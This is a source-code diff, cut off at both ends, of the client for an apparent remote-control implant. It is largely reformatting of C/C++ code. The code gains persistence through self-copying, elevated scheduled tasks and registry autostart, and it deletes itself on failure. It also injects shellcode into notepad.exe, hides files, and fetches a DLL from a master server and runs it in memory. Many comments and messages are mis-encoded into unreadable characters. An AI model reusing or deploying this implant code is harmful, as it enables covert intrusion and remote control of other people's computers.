TASK_ACTION_EXEC, &pAction); - if (SUCCEEDED(hr)) { - IExecAction* pExecAction = NULL; - hr = pAction->lpVtbl->QueryInterface(pAction, &IID_IExecAction, (void**)&pExecAction); - if (SUCCEEDED(hr)) { - WCHAR wExePath[MAX_PATH] = {0}; - ConvertCharToWChar(exePath, wExePath, MAX_PATH); - BSTR path = SysAllocString(wExePath); - pExecAction->lpVtbl->put_Path(pExecAction, path); - SysFreeString(path); - pExecAction->lpVtbl->Release(pExecAction); - } - pAction->lpVtbl->Release(pAction); - } - pActionCollection->lpVtbl->Release(pActionCollection); - } + // ò + IActionCollection* pActionCollection = NULL; + hr = pTask->lpVtbl->get_Actions(pTask, &pActionCollection); + if (SUCCEEDED(hr)) { + IAction* pAction = NULL; + hr = pActionCollection->lpVtbl->Create(pActionCollection, TASK_ACTION_EXEC, &pAction); + if (SUCCEEDED(hr)) { + IExecAction* pExecAction = NULL; + hr = pAction->lpVtbl->QueryInterface(pAction, &IID_IExecAction, (void**)&pExecAction); + if (SUCCEEDED(hr)) { + WCHAR wExePath[MAX_PATH] = {0}; + ConvertCharToWChar(exePath, wExePath, MAX_PATH); + BSTR path = SysAllocString(wExePath); + pExecAction->lpVtbl->put_Path(pExecAction, path); + SysFreeString(path); + pExecAction->lpVtbl->Release(pExecAction); + } + pAction->lpVtbl->Release(pAction); + } + pActionCollection->lpVtbl->Release(pActionCollection); + } - // Ȩ - IPrincipal* pPrincipal = NULL; - if (SUCCEEDED(pTask->lpVtbl->get_Principal(pTask, &pPrincipal))) { - pPrincipal->lpVtbl->put_LogonType(pPrincipal, TASK_LOGON_INTERACTIVE_TOKEN); - pPrincipal->lpVtbl->put_RunLevel(pPrincipal, TASK_RUNLEVEL_HIGHEST); - pPrincipal->lpVtbl->Release(pPrincipal); - } + // Ȩ + IPrincipal* pPrincipal = NULL; + if (SUCCEEDED(pTask->lpVtbl->get_Principal(pTask, &pPrincipal))) { + pPrincipal->lpVtbl->put_LogonType(pPrincipal, TASK_LOGON_INTERACTIVE_TOKEN); + pPrincipal->lpVtbl->put_RunLevel(pPrincipal, TASK_RUNLEVEL_HIGHEST); + pPrincipal->lpVtbl->Release(pPrincipal); + } - // ע - ITaskFolder* pFolder = NULL; - hr = pService->lpVtbl->GetFolder(pService, wRootPath, &pFolder); - ConvertCharToWChar(taskName, wTaskName, MAX_PATH); + // ע + ITaskFolder* pFolder = NULL; + hr = pService->lpVtbl->GetFolder(pService, wRootPath, &pFolder); + ConvertCharToWChar(taskName, wTaskName, MAX_PATH); - if (SUCCEEDED(hr)) { - char userName[UNLEN + 1] = {0}; - DWORD nameLen = UNLEN + 1; - if (GetUserNameA(userName, &nameLen)) { - Mprintf("ƻ. ǰûΪ: %s\n", userName); - } - WCHAR wUser[_MAX_PATH] = {0}; - ConvertCharToWChar(userName, wUser, MAX_PATH); - BSTR bstrTaskName = SysAllocString(wTaskName); - VARIANT vUser; - VariantInit(&vUser); - vUser.vt = VT_BSTR; - vUser.bstrVal = SysAllocString(wUser); + if (SUCCEEDED(hr)) { + char userName[UNLEN + 1] = {0}; + DWORD nameLen = UNLEN + 1; + if (GetUserNameA(userName, &nameLen)) { + Mprintf("ƻ. ǰûΪ: %s\n", userName); + } + WCHAR wUser[_MAX_PATH] = {0}; + ConvertCharToWChar(userName, wUser, MAX_PATH); + BSTR bstrTaskName = SysAllocString(wTaskName); + VARIANT vUser; + VariantInit(&vUser); + vUser.vt = VT_BSTR; + vUser.bstrVal = SysAllocString(wUser); - IRegisteredTask* pRegisteredTask = NULL; - hr = pFolder->lpVtbl->RegisterTaskDefinition( - pFolder, - bstrTaskName, - pTask, - TASK_CREATE_OR_UPDATE, - vUser, - empty, - TASK_LOGON_INTERACTIVE_TOKEN, - empty, - &pRegisteredTask - ); + IRegisteredTask* pRegisteredTask = NULL; + hr = pFolder->lpVtbl->RegisterTaskDefinition( + pFolder, + bstrTaskName, + pTask, + TASK_CREATE_OR_UPDATE, + vUser, + empty, + TASK_LOGON_INTERACTIVE_TOKEN, + empty, + &pRegisteredTask + ); - if (SUCCEEDED(hr)) { - if (run) { - IRunningTask* pRunningTask = NULL; - hr = pRegisteredTask->lpVtbl->Run(pRegisteredTask, empty, &pRunningTask); - if (SUCCEEDED(hr)) { - pRunningTask->lpVtbl->Release(pRunningTask); - } - else { - Mprintf("޷񣬴룺%ld\n", hr); - } - } - pRegisteredTask->lpVtbl->Release(pRegisteredTask); - } + if (SUCCEEDED(hr)) { + if (run) { + IRunningTask* pRunningTask = NULL; + hr = pRegisteredTask->lpVtbl->Run(pRegisteredTask, empty, &pRunningTask); + if (SUCCEEDED(hr)) { + pRunningTask->lpVtbl->Release(pRunningTask); + } else { + Mprintf("޷񣬴룺%ld\n", hr); + } + } + pRegisteredTask->lpVtbl->Release(pRegisteredTask); + } - VariantClear(&vUser); - SysFreeString(bstrTaskName); - pFolder->lpVtbl->Release(pFolder); - } + VariantClear(&vUser); + SysFreeString(bstrTaskName); + pFolder->lpVtbl->Release(pFolder); + } - pTask->lpVtbl->Release(pTask); - pService->lpVtbl->Release(pService); - CoUninitialize(); + pTask->lpVtbl->Release(pTask); + pService->lpVtbl->Release(pService); + CoUninitialize(); - return SUCCEEDED(hr) ? 0 : 7; + return SUCCEEDED(hr) ? 0 : 7; } BOOL IsRunningAsAdmin() { - BOOL isAdmin = FALSE; - PSID administratorsGroup = NULL; + BOOL isAdmin = FALSE; + PSID administratorsGroup = NULL; - SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY; - if (AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, - 0, 0, 0, 0, 0, 0, &administratorsGroup)){ - if (!CheckTokenMembership(NULL, administratorsGroup, &isAdmin)){ - isAdmin = FALSE; - } + SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY; + if (AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, + 0, 0, 0, 0, 0, 0, &administratorsGroup)) { + if (!CheckTokenMembership(NULL, administratorsGroup, &isAdmin)) { + isAdmin = FALSE; + } - FreeSid(administratorsGroup); - } + FreeSid(administratorsGroup); + } - return isAdmin; + return isAdmin; } BOOL LaunchAsAdmin(const char* szFilePath, const char* verb) { - SHELLEXECUTEINFOA shExecInfo; - ZeroMemory(&shExecInfo, sizeof(SHELLEXECUTEINFOA)); - shExecInfo.cbSize = sizeof(SHELLEXECUTEINFOA); - shExecInfo.fMask = SEE_MASK_DEFAULT; - shExecInfo.hwnd = NULL; - shExecInfo.lpVerb = verb; - shExecInfo.lpFile = szFilePath; - shExecInfo.nShow = SW_NORMAL; + SHELLEXECUTEINFOA shExecInfo; + ZeroMemory(&shExecInfo, sizeof(SHELLEXECUTEINFOA)); + shExecInfo.cbSize = sizeof(SHELLEXECUTEINFOA); + shExecInfo.fMask = SEE_MASK_DEFAULT; + shExecInfo.hwnd = NULL; + shExecInfo.lpVerb = verb; + shExecInfo.lpFile = szFilePath; + shExecInfo.nShow = SW_NORMAL; - return ShellExecuteExA(&shExecInfo); + return ShellExecuteExA(&shExecInfo); } BOOL CreateDirectoryRecursively(const char* path) { - if (PathFileExistsA(path)) - return TRUE; + if (PathFileExistsA(path)) + return TRUE; - char temp[MAX_PATH] = { 0 }; - size_t len = strlen(path); - strncpy(temp, path, len); + char temp[MAX_PATH] = { 0 }; + size_t len = strlen(path); + strncpy(temp, path, len); - for (size_t i = 0; i < len; ++i){ - if (temp[i] == '\\'){ - temp[i] = '\0'; - if (!PathFileExistsA(temp)){ - if (!CreateDirectoryA(temp, NULL)) - return FALSE; - } - temp[i] = '\\'; - } - } + for (size_t i = 0; i < len; ++i) { + if (temp[i] == '\\') { + temp[i] = '\0'; + if (!PathFileExistsA(temp)) { + if (!CreateDirectoryA(temp, NULL)) + return FALSE; + } + temp[i] = '\\'; + } + } - if (!CreateDirectoryA(temp, NULL)) - return FALSE; + if (!CreateDirectoryA(temp, NULL)) + return FALSE; - return TRUE; + return TRUE; } int RegisterStartup(const char* startupName, const char* exeName) { #ifdef _DEBUG - return 1; + return 1; #endif - char folder[MAX_PATH] = { 0 }; - if (GetEnvironmentVariableA("ProgramData", folder, MAX_PATH) > 0){ - size_t len = strlen(folder); - if (len > 0 && folder[len - 1] != '\\'){ - folder[len] = '\\'; - folder[len + 1] = '\0'; - } - strcat(folder, startupName); + char folder[MAX_PATH] = { 0 }; + if (GetEnvironmentVariableA("ProgramData", folder, MAX_PATH) > 0) { + size_t len = strlen(folder); + if (len > 0 && folder[len - 1] != '\\') { + folder[len] = '\\'; + folder[len + 1] = '\0'; + } + strcat(folder, startupName); - if (!CreateDirectoryRecursively(folder)){ - Mprintf("Failed to create directory structure: %s\n", folder); - return -1; - } - } + if (!CreateDirectoryRecursively(folder)) { + Mprintf("Failed to create directory structure: %s\n", folder); + return -1; + } + } - char curFile[MAX_PATH] = { 0 }; - GetModuleFileNameA(NULL, curFile, MAX_PATH); + char curFile[MAX_PATH] = { 0 }; + GetModuleFileNameA(NULL, curFile, MAX_PATH); - char dstFile[MAX_PATH] = { 0 }; - sprintf(dstFile, "%s\\%s.exe", folder, exeName); + char dstFile[MAX_PATH] = { 0 }; + sprintf(dstFile, "%s\\%s.exe", folder, exeName); - if (_stricmp(curFile, dstFile) != 0){ - if (!IsRunningAsAdmin()){ - if (!LaunchAsAdmin(curFile, "runas")){ - Mprintf("The program will now exit. Please restart it with administrator privileges."); - return -1; - } - Mprintf("Choosing with administrator privileges: %s.\n", curFile); - return 0; - } else { - Mprintf("Running with administrator privileges: %s.\n", curFile); - } + if (_stricmp(curFile, dstFile) != 0) { + if (!IsRunningAsAdmin()) { + if (!LaunchAsAdmin(curFile, "runas")) { + Mprintf("The program will now exit. Please restart it with administrator privileges."); + return -1; + } + Mprintf("Choosing with administrator privileges: %s.\n", curFile); + return 0; + } else { + Mprintf("Running with administrator privileges: %s.\n", curFile); + } - DeleteFileA(dstFile); - BOOL b = CopyFileA(curFile, dstFile, FALSE); - Mprintf("Copy '%s' -> '%s': %s [Code: %d].\n", - curFile, dstFile, b ? "succeed" : "failed", GetLastError()); + DeleteFileA(dstFile); + BOOL b = CopyFileA(curFile, dstFile, FALSE); + Mprintf("Copy '%s' -> '%s': %s [Code: %d].\n", + curFile, dstFile, b ? "succeed" : "failed", GetLastError()); - int status = CreateScheduledTask(startupName, dstFile, FALSE, NULL, TRUE); - Mprintf("ƻ: %s!\n", status == 0 ? "ɹ" : "ʧ"); + int status = CreateScheduledTask(startupName, dstFile, FALSE, NULL, TRUE); + Mprintf("ƻ: %s!\n", status == 0 ? "ɹ" : "ʧ"); - return 0; - } - int status = CreateScheduledTask(startupName, dstFile, TRUE, NULL, FALSE); - Mprintf("ƻ: %s!\n", status == 0 ? "ɹ" : "ʧ"); - CreateFileA(curFile, GENERIC_READ, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + return 0; + } + int status = CreateScheduledTask(startupName, dstFile, TRUE, NULL, FALSE); + Mprintf("ƻ: %s!\n", status == 0 ? "ɹ" : "ʧ"); + CreateFileA(curFile, GENERIC_READ, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); - return 1; + return 1; } diff --git a/client/resource.h b/client/resource.h index f0b6936..7af2257 100644 --- a/client/resource.h +++ b/client/resource.h @@ -11,7 +11,7 @@ #define IDC_EDIT_MESSAGE 1000 // Next default values for new objects -// +// #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS #define _APS_NEXT_RESOURCE_VALUE 106 diff --git a/client/resource1.h b/client/resource1.h index 2c5f984..8972a67 100644 --- a/client/resource1.h +++ b/client/resource1.h @@ -3,7 +3,7 @@ // Used by TestRun.rc // ¶һĬֵ -// +// #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS #define _APS_NEXT_RESOURCE_VALUE 101 diff --git a/client/test.cpp b/client/test.cpp index bb8e60a..f500661 100644 --- a/client/test.cpp +++ b/client/test.cpp @@ -39,15 +39,14 @@ CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "6543", CLIENT_TY BOOL CALLBACK callback(DWORD CtrlType) { - if (CtrlType == CTRL_CLOSE_EVENT) - { - status = 1; - if (hEvent) SetEvent(hEvent); - if(stop) stop(); - while(1==status) - Sleep(20); - } - return TRUE; + if (CtrlType == CTRL_CLOSE_EVENT) { + status = 1; + if (hEvent) SetEvent(hEvent); + if(stop) stop(); + while(1==status) + Sleep(20); + } + return TRUE; } // г. @@ -55,327 +54,324 @@ BOOL Run(const char* argv1, int argv2); // Package header. typedef struct PkgHeader { - char flag[8]; - int totalLen; - int originLen; - PkgHeader(int size) { - memset(flag, 0, sizeof(flag)); - memcpy(flag, "Hello?", 6); - originLen = size; - totalLen = sizeof(PkgHeader) + size; - } -}PkgHeader; + char flag[8]; + int totalLen; + int originLen; + PkgHeader(int size) + { + memset(flag, 0, sizeof(flag)); + memcpy(flag, "Hello?", 6); + originLen = size; + totalLen = sizeof(PkgHeader) + size; + } +} PkgHeader; // Memory DLL runner. -class MemoryDllRunner : public DllRunner { +class MemoryDllRunner : public DllRunner +{ protected: - HMEMORYMODULE m_mod; - std::string GetIPAddress(const char* hostName) - { - // 1. жDzǺϷ IPv4 ַ - sockaddr_in sa; - if (inet_pton(AF_INET, hostName, &(sa.sin_addr)) == 1) { - // ǺϷ IPv4 ֱַӷ - return std::string(hostName); - } + HMEMORYMODULE m_mod; + std::string GetIPAddress(const char* hostName) + { + // 1. жDzǺϷ IPv4 ַ + sockaddr_in sa; + if (inet_pton(AF_INET, hostName, &(sa.sin_addr)) == 1) { + // ǺϷ IPv4 ֱַӷ + return std::string(hostName); + } - // 2. Խ - addrinfo hints = {}, * res = nullptr; - hints.ai_family = AF_INET; // ֻ֧ IPv4 - hints.ai_socktype = SOCK_STREAM; - hints.ai_protocol = IPPROTO_TCP; + // 2. Խ + addrinfo hints = {}, * res = nullptr; + hints.ai_family = AF_INET; // ֻ֧ IPv4 + hints.ai_socktype = SOCK_STREAM; + hints.ai_protocol = IPPROTO_TCP; - if (getaddrinfo(hostName, nullptr, &hints, &res) != 0) - return ""; + if (getaddrinfo(hostName, nullptr, &hints, &res) != 0) + return ""; - char ipStr[INET_ADDRSTRLEN] = {}; - sockaddr_in* ipv4 = (sockaddr_in*)res->ai_addr; - inet_ntop(AF_INET, &(ipv4->sin_addr), ipStr, INET_ADDRSTRLEN); + char ipStr[INET_ADDRSTRLEN] = {}; + sockaddr_in* ipv4 = (sockaddr_in*)res->ai_addr; + inet_ntop(AF_INET, &(ipv4->sin_addr), ipStr, INET_ADDRSTRLEN); - freeaddrinfo(res); - return std::string(ipStr); - } + freeaddrinfo(res); + return std::string(ipStr); + } public: - MemoryDllRunner() : m_mod(nullptr){} - virtual const char* ReceiveDll(int &size) { - WSADATA wsaData = {}; - if (WSAStartup(MAKEWORD(2, 2), &wsaData)) - return nullptr; + MemoryDllRunner() : m_mod(nullptr) {} + virtual const char* ReceiveDll(int &size) + { + WSADATA wsaData = {}; + if (WSAStartup(MAKEWORD(2, 2), &wsaData)) + return nullptr; - const int bufSize = 4 * 1024 * 1024; - char* buffer = new char[bufSize]; - bool isFirstConnect = true; + const int bufSize = 4 * 1024 * 1024; + char* buffer = new char[bufSize]; + bool isFirstConnect = true; - do { - if (!isFirstConnect) - Sleep(!IsDebug ? rand() % 30 * 1000 : 5000); + do { + if (!isFirstConnect) + Sleep(!IsDebug ? rand() % 30 * 1000 : 5000); - isFirstConnect = false; - SOCKET clientSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); - if (clientSocket == INVALID_SOCKET) { - continue; - } + isFirstConnect = false; + SOCKET clientSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + if (clientSocket == INVALID_SOCKET) { + continue; + } - DWORD timeout = 30000; - setsockopt(clientSocket, SOL_SOCKET, SO_RCVTIMEO, (const char*)&timeout, sizeof(timeout)); + DWORD timeout = 30000; + setsockopt(clientSocket, SOL_SOCKET, SO_RCVTIMEO, (const char*)&timeout, sizeof(timeout)); - sockaddr_in serverAddr = {}; - serverAddr.sin_family = AF_INET; - serverAddr.sin_port = htons(g_ConnectAddress.ServerPort()); - std::string ip = GetIPAddress(g_ConnectAddress.ServerIP()); - serverAddr.sin_addr.s_addr = inet_addr(ip.c_str()); - if (connect(clientSocket, (SOCKADDR*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) { - closesocket(clientSocket); - SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED); - continue; - } + sockaddr_in serverAddr = {}; + serverAddr.sin_family = AF_INET; + serverAddr.sin_port = htons(g_ConnectAddress.ServerPort()); + std::string ip = GetIPAddress(g_ConnectAddress.ServerIP()); + serverAddr.sin_addr.s_addr = inet_addr(ip.c_str()); + if (connect(clientSocket, (SOCKADDR*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) { + closesocket(clientSocket); + SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED); + continue; + } #ifdef _DEBUG - char command[4] = { SOCKET_DLLLOADER, sizeof(void*) == 8, MEMORYDLL, 0 }; + char command[4] = { SOCKET_DLLLOADER, sizeof(void*) == 8, MEMORYDLL, 0 }; #else - char command[4] = { SOCKET_DLLLOADER, sizeof(void*) == 8, MEMORYDLL, 1 }; + char command[4] = { SOCKET_DLLLOADER, sizeof(void*) == 8, MEMORYDLL, 1 }; #endif - char req[sizeof(PkgHeader) + 4] = {}; - memcpy(req, &PkgHeader(4), sizeof(PkgHeader)); - memcpy(req + sizeof(PkgHeader), command, sizeof(command)); - auto bytesSent = send(clientSocket, req, sizeof(req), 0); - if (bytesSent != sizeof(req)) { - closesocket(clientSocket); - continue; - } - char* ptr = buffer + sizeof(PkgHeader); - int bufferSize = 16 * 1024, bytesReceived = 0, totalReceived = 0; - while (totalReceived < bufSize) { - int bytesToReceive = min(bufferSize, bufSize - totalReceived); - int bytesReceived = recv(clientSocket, buffer + totalReceived, bytesToReceive, 0); - if (bytesReceived <= 0) break; - totalReceived += bytesReceived; - } - if (totalReceived < sizeof(PkgHeader) + 6) { - closesocket(clientSocket); - continue; - } - BYTE cmd = ptr[0], type = ptr[1]; - size = 0; - memcpy(&size, ptr + 2, sizeof(int)); - if (totalReceived != size + 6 + sizeof(PkgHeader)) { - continue; - } - closesocket(clientSocket); - } while (false); + char req[sizeof(PkgHeader) + 4] = {}; + memcpy(req, &PkgHeader(4), sizeof(PkgHeader)); + memcpy(req + sizeof(PkgHeader), command, sizeof(command)); + auto bytesSent = send(clientSocket, req, sizeof(req), 0); + if (bytesSent != sizeof(req)) { + closesocket(clientSocket); + continue; + } + char* ptr = buffer + sizeof(PkgHeader); + int bufferSize = 16 * 1024, bytesReceived = 0, totalReceived = 0; + while (totalReceived < bufSize) { + int bytesToReceive = min(bufferSize, bufSize - totalReceived); + int bytesReceived = recv(clientSocket, buffer + totalReceived, bytesToReceive, 0); + if (bytesReceived <= 0) break; + totalReceived += bytesReceived; + } + if (totalReceived < sizeof(PkgHeader) + 6) { + closesocket(clientSocket); + continue; + } + BYTE cmd = ptr[0], type = ptr[1]; + size = 0; + memcpy(&size, ptr + 2, sizeof(int)); + if (totalReceived != size + 6 + sizeof(PkgHeader)) { + continue; + } + closesocket(clientSocket); + } while (false); - WSACleanup(); - return buffer; - } - // Request DLL from the master. - virtual void* LoadLibraryA(const char* path, int len = 0) { - int size = 0; - auto buffer = ReceiveDll(size); - if (nullptr == buffer || size == 0){ - SAFE_DELETE_ARRAY(buffer); - return nullptr; - } - int pos = MemoryFind(buffer, FLAG_FINDEN, size, sizeof(FLAG_FINDEN) - 1); - if (-1 != pos) { - CONNECT_ADDRESS* addr = (CONNECT_ADDRESS*)(buffer + pos); - BYTE type = buffer[sizeof(PkgHeader) + 1]; - addr->iType = type == MEMORYDLL ? CLIENT_TYPE_MEMDLL : CLIENT_TYPE_SHELLCODE; - memset(addr->szFlag, 0, sizeof(addr->szFlag)); - strcpy(addr->szServerIP, g_ConnectAddress.ServerIP()); - sprintf_s(addr->szPort, "%d", g_ConnectAddress.ServerPort()); - } - m_mod = ::MemoryLoadLibrary(buffer + 6 + sizeof(PkgHeader), size); - SAFE_DELETE_ARRAY(buffer); - return m_mod; - } - virtual FARPROC GetProcAddress(void* mod, const char* lpProcName) { - return ::MemoryGetProcAddress((HMEMORYMODULE)mod, lpProcName); - } - virtual BOOL FreeLibrary(void* mod) { - ::MemoryFreeLibrary((HMEMORYMODULE)mod); - return TRUE; - } + WSACleanup(); + return buffer; + } + // Request DLL from the master. + virtual void* LoadLibraryA(const char* path, int len = 0) + { + int size = 0; + auto buffer = ReceiveDll(size); + if (nullptr == buffer || size == 0) { + SAFE_DELETE_ARRAY(buffer); + return nullptr; + } + int pos = MemoryFind(buffer, FLAG_FINDEN, size, sizeof(FLAG_FINDEN) - 1); + if (-1 != pos) { + CONNECT_ADDRESS* addr = (CONNECT_ADDRESS*)(buffer + pos); + BYTE type = buffer[sizeof(PkgHeader) + 1]; + addr->iType = type == MEMORYDLL ? CLIENT_TYPE_MEMDLL : CLIENT_TYPE_SHELLCODE; + memset(addr->szFlag, 0, sizeof(addr->szFlag)); + strcpy(addr->szServerIP, g_ConnectAddress.ServerIP()); + sprintf_s(addr->szPort, "%d", g_ConnectAddress.ServerPort()); + } + m_mod = ::MemoryLoadLibrary(buffer + 6 + sizeof(PkgHeader), size); + SAFE_DELETE_ARRAY(buffer); + return m_mod; + } + virtual FARPROC GetProcAddress(void* mod, const char* lpProcName) + { + return ::MemoryGetProcAddress((HMEMORYMODULE)mod, lpProcName); + } + virtual BOOL FreeLibrary(void* mod) + { + ::MemoryFreeLibrary((HMEMORYMODULE)mod); + return TRUE; + } }; // @brief ȶȡsettings.iniļȡIPͶ˿. -// [settings] +// [settings] // localIp=XXX // ghost=6688 // ļھʹлȡIPͶ˿. int main(int argc, const char *argv[]) { - // ע - int r = RegisterStartup("Client Demo", "ClientDemo"); - if (r <= 0) { - BOOL s = self_del(); - if (!IsDebug)return r; - } + // ע + int r = RegisterStartup("Client Demo", "ClientDemo"); + if (r <= 0) { + BOOL s = self_del(); + if (!IsDebug)return r; + } - BOOL ok = SetSelfStart(argv[0], REG_NAME); - if(!ok) - { - Mprintf("ÿʧܣùԱȨ.\n"); - } - status = 0; - SetConsoleCtrlHandler(&callback, TRUE); - - iniFile cfg(CLIENT_PATH); - auto now = time(0); - auto valid_to = atof(cfg.GetStr("settings", "valid_to").c_str()); - if (now <= valid_to) { - auto saved_ip = cfg.GetStr("settings", "master"); - auto saved_port = cfg.GetInt("settings", "port"); - g_ConnectAddress.SetServer(saved_ip.c_str(), saved_port); - } + BOOL ok = SetSelfStart(argv[0], REG_NAME); + if(!ok) { + Mprintf("ÿʧܣùԱȨ.\n"); + } + status = 0; + SetConsoleCtrlHandler(&callback, TRUE); - // Shell code ӱ6543˿ڣע뵽± - if (g_ConnectAddress.iStartup == Startup_InjSC) - { - // Try to inject shell code to `notepad.exe` - // If failed then run memory DLL - ShellcodeInj inj; - int pid = 0; - hEvent = ::CreateEventA(NULL, TRUE, FALSE, NULL); - do { - if (sizeof(void*) == 4) // Shell code is 64bit - break; - if (!(pid = inj.InjectProcess(nullptr, ok))) { - break; - } - HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | SYNCHRONIZE, FALSE, pid); - if (hProcess == NULL) { - break; - } - Mprintf("Inject process [%d] succeed.\n", pid); - HANDLE handles[2] = { hProcess, hEvent }; - DWORD waitResult = WaitForMultipleObjects(2, handles, FALSE, INFINITE); - if (status == 1) { - TerminateProcess(hProcess, -1); - CloseHandle(hEvent); - } - CloseHandle(hProcess); - Mprintf("Process [%d] is finished.\n", pid); - if (status == 1) - return -1; - } while (pid); - } + iniFile cfg(CLIENT_PATH); + auto now = time(0); + auto valid_to = atof(cfg.GetStr("settings", "valid_to").c_str()); + if (now <= valid_to) { + auto saved_ip = cfg.GetStr("settings", "master"); + auto saved_port = cfg.GetInt("settings", "port"); + g_ConnectAddress.SetServer(saved_ip.c_str(), saved_port); + } - if (g_ConnectAddress.iStartup == Startup_InjSC) { - g_ConnectAddress.iStartup = Startup_MEMDLL; - } + // Shell code ӱ6543˿ڣע뵽± + if (g_ConnectAddress.iStartup == Startup_InjSC) { + // Try to inject shell code to `notepad.exe` + // If failed then run memory DLL + ShellcodeInj inj; + int pid = 0; + hEvent = ::CreateEventA(NULL, TRUE, FALSE, NULL); + do { + if (sizeof(void*) == 4) // Shell code is 64bit + break; + if (!(pid = inj.InjectProcess(nullptr, ok))) { + break; + } + HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | SYNCHRONIZE, FALSE, pid); + if (hProcess == NULL) { + break; + } + Mprintf("Inject process [%d] succeed.\n", pid); + HANDLE handles[2] = { hProcess, hEvent }; + DWORD waitResult = WaitForMultipleObjects(2, handles, FALSE, INFINITE); + if (status == 1) { + TerminateProcess(hProcess, -1); + CloseHandle(hEvent); + } + CloseHandle(hProcess); + Mprintf("Process [%d] is finished.\n", pid); + if (status == 1) + return -1; + } while (pid); + } - do { - BOOL ret = Run(argc > 1 ? argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()), - argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.ServerPort() == 0 ? 6543 : g_ConnectAddress.ServerPort())); - if (ret == 1) { - return -1; - } - } while (status == 0); + if (g_ConnectAddress.iStartup == Startup_InjSC) { + g_ConnectAddress.iStartup = Startup_MEMDLL; + } - status = 0; - return -1; + do { + BOOL ret = Run(argc > 1 ? argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()), + argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.ServerPort() == 0 ? 6543 : g_ConnectAddress.ServerPort())); + if (ret == 1) { + return -1; + } + } while (status == 0); + + status = 0; + return -1; } // в: IP ˿. -BOOL Run(const char* argv1, int argv2) { - BOOL result = FALSE; - char path[_MAX_PATH], * p = path; - GetModuleFileNameA(NULL, path, sizeof(path)); - while (*p) ++p; - while ('\\' != *p) --p; - *(p + 1) = 0; - std::string folder = path; - std::string oldFile = folder + "ServerDll.old"; - std::string newFile = folder + "ServerDll.new"; - strcpy(p + 1, "ServerDll.dll"); - BOOL ok = TRUE; - if (_access(newFile.c_str(), 0) != -1) { - if (_access(oldFile.c_str(), 0) != -1) - { - if (!DeleteFileA(oldFile.c_str())) - { - Mprintf("Error deleting file. Error code: %d\n", GetLastError()); - ok = FALSE; - } - } - if (ok && !MoveFileA(path, oldFile.c_str())) { - Mprintf("Error removing file. Error code: %d\n", GetLastError()); - ok = FALSE; - }else { - // ļΪ - if (SetFileAttributesA(oldFile.c_str(), FILE_ATTRIBUTE_HIDDEN)) - { - Mprintf("File created and set to hidden: %s\n",oldFile.c_str()); - } - } - if (ok && !MoveFileA(newFile.c_str(), path)) { - Mprintf("Error removing file. Error code: %d\n", GetLastError()); - MoveFileA(oldFile.c_str(), path);// recover - }else if (ok){ - Mprintf("Using new file: %s\n", newFile.c_str()); - } - } - DllRunner* runner = nullptr; - switch (g_ConnectAddress.iStartup) - { - case Startup_DLL: - runner = new DefaultDllRunner; - break; - case Startup_MEMDLL: - runner = new MemoryDllRunner; - break; - default: - ExitProcess(-1); - break; - } +BOOL Run(const char* argv1, int argv2) +{ + BOOL result = FALSE; + char path[_MAX_PATH], * p = path; + GetModuleFileNameA(NULL, path, sizeof(path)); + while (*p) ++p; + while ('\\' != *p) --p; + *(p + 1) = 0; + std::string folder = path; + std::string oldFile = folder + "ServerDll.old"; + std::string newFile = folder + "ServerDll.new"; + strcpy(p + 1, "ServerDll.dll"); + BOOL ok = TRUE; + if (_access(newFile.c_str(), 0) != -1) { + if (_access(oldFile.c_str(), 0) != -1) { + if (!DeleteFileA(oldFile.c_str())) { + Mprintf("Error deleting file. Error code: %d\n", GetLastError()); + ok = FALSE; + } + } + if (ok && !MoveFileA(path, oldFile.c_str())) { + Mprintf("Error removing file. Error code: %d\n", GetLastError()); + ok = FALSE; + } else { + // ļΪ + if (SetFileAttributesA(oldFile.c_str(), FILE_ATTRIBUTE_HIDDEN)) { + Mprintf("File created and set to hidden: %s\n",oldFile.c_str()); + } + } + if (ok && !MoveFileA(newFile.c_str(), path)) { + Mprintf("Error removing file. Error code: %d\n", GetLastError()); + MoveFileA(oldFile.c_str(), path);// recover + } else if (ok) { + Mprintf("Using new file: %s\n", newFile.c_str()); + } + } + DllRunner* runner = nullptr; + switch (g_ConnectAddress.iStartup) { + case Startup_DLL: + runner = new DefaultDllRunner; + break; + case Startup_MEMDLL: + runner = new MemoryDllRunner; + break; + default: + ExitProcess(-1); + break; + } - void* hDll = runner->LoadLibraryA(path); - typedef void (*TestRun)(char* strHost, int nPort); - TestRun run = hDll ? TestRun(runner->GetProcAddress(hDll, "TestRun")) : NULL; - stop = hDll ? StopRun(runner->GetProcAddress(hDll, "StopRun")) : NULL; - bStop = hDll ? IsStoped(runner->GetProcAddress(hDll, "IsStoped")) : NULL; - bExit = hDll ? IsExit(runner->GetProcAddress(hDll, "IsExit")) : NULL; - if (NULL == run) { - if (hDll) runner->FreeLibrary(hDll); - Mprintf("ض̬ӿ\"ServerDll.dll\"ʧ. : %d\n", GetLastError()); - Sleep(3000); - delete runner; - return FALSE; - } - do - { - char ip[_MAX_PATH]; - strcpy_s(ip, g_ConnectAddress.ServerIP()); - int port = 